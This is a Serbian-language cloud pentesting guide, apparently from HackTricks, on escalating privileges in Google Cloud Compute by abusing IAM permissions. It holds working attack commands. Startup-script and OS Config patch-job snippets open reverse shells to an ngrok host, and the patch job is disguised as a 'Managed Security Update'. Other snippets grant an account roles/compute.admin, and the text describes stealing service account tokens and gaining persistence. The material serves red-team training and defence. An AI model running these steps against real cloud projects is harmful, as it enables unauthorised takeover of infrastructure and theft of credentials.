GCP - Compute Privesc

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Compute

Za više informacija o Compute i VPC (mreži) u GCP, proverite:

GCP - Compute Enum

caution

Imajte na umu da je za izvođenje svih napada na eskalaciju privilegija koji zahtevaju modifikaciju metapodataka instance (kao što su dodavanje novih korisnika i SSH ključeva) potrebno da imate actAs dozvole nad SA koji je povezan sa instancom, čak i ako je SA već povezan!

compute.projects.setCommonInstanceMetadata

Sa tom dozvolom možete modifikovati informacije o metapodacima instance i promeniti ovlašćene ključeve korisnika, ili kreirati novog korisnika sa sudo dozvolama. Stoga, moći ćete da se povežete putem SSH na bilo koju VM instancu i ukradete GCP Service Account sa kojom instanca radi.
Ograničenja:

  • Imajte na umu da GCP Service Accounts koji rade u VM instancama po defaultu imaju veoma ograničen opseg
  • Moraćete da budete u mogućnosti da kontaktirate SSH server da biste se prijavili

Za više informacija o tome kako iskoristiti ovu dozvolu, proverite:

GCP - Add Custom SSH Metadata

Takođe možete izvesti ovaj napad dodavanjem novog startup-skripta i ponovnim pokretanjem instance:

bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Ova dozvola daje iste privilegije kao prethodna dozvola ali za specifične instance umesto za ceo projekat. Iste eksploatacije i ograničenja kao za prethodni deo se primenjuju.

compute.instances.setIamPolicy

Ova vrsta dozvole će vam omogućiti da dodelite sebi ulogu sa prethodnim dozvolama i eskalirate privilegije zloupotrebljavajući ih. Evo primera dodavanja roles/compute.admin na Servisni Nalog:

bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

Ako je OSLogin omogućen na instanci, sa ovom dozvolom možete jednostavno pokrenuti gcloud compute ssh [INSTANCE] i povezati se na instancu. Nećete imati root privilegije unutar instance.

tip

Da biste se uspešno prijavili sa ovom dozvolom unutar VM instance, potrebno je da imate dozvolu iam.serviceAccounts.actAs nad SA koji je povezan sa VM.

compute.instances.osAdminLogin

Ako je OSLogin omogućen na instanci, sa ovom dozvolom možete jednostavno pokrenuti gcloud compute ssh [INSTANCE] i povezati se na instancu. Imaćete root privilegije unutar instance.

tip

Da biste se uspešno prijavili sa ovom dozvolom unutar VM instance, potrebno je da imate dozvolu iam.serviceAccounts.actAs nad SA koji je povezan sa VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

Moguće je napraviti virtuelnu mašinu sa dodeljenim Service Account-om i ukrasti token servisa pristupajući metapodacima kako biste eskalirali privilegije.

Eksploatacijski skript za ovu metodu možete pronaći ovde.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Ako imate dozvole osconfig.patchDeployments.create ili osconfig.patchJobs.exec, možete kreirati patch job ili deployment. Ovo će vam omogućiti da se lateralno krećete u okruženju i dobijete izvršavanje koda na svim instancama za obradu unutar projekta.

Napomena: u ovom trenutku ne trebate actAs dozvolu nad SA koji je povezan sa instancom.

Ako želite ručno da iskoristite ovo, biće potrebno da kreirate ili patch job ili deployment.
Za patch job pokrenite:

python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Da biste implementirali ispravku:

bash
gcloud compute os-config patch-deployments create <name> ...

Alat patchy je mogao biti korišćen u prošlosti za eksploataciju ove pogrešne konfiguracije (ali sada ne radi).

Napadač takođe može zloupotrebiti ovo za postizanje trajnosti.

compute.machineImages.setIamPolicy

Dodelite sebi dodatne dozvole za compute Image.

compute.snapshots.setIamPolicy

Dodelite sebi dodatne dozvole za disk snapshot.

compute.disks.setIamPolicy

Dodelite sebi dodatne dozvole za disk.

Obilaženje pristupnih opsega

Prateći ovaj link, pronaći ćete neke ideje za pokušaj obilaženja pristupnih opsega.

Lokalno eskaliranje privilegija u GCP Compute instanci

GCP - local privilege escalation ssh pivoting

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks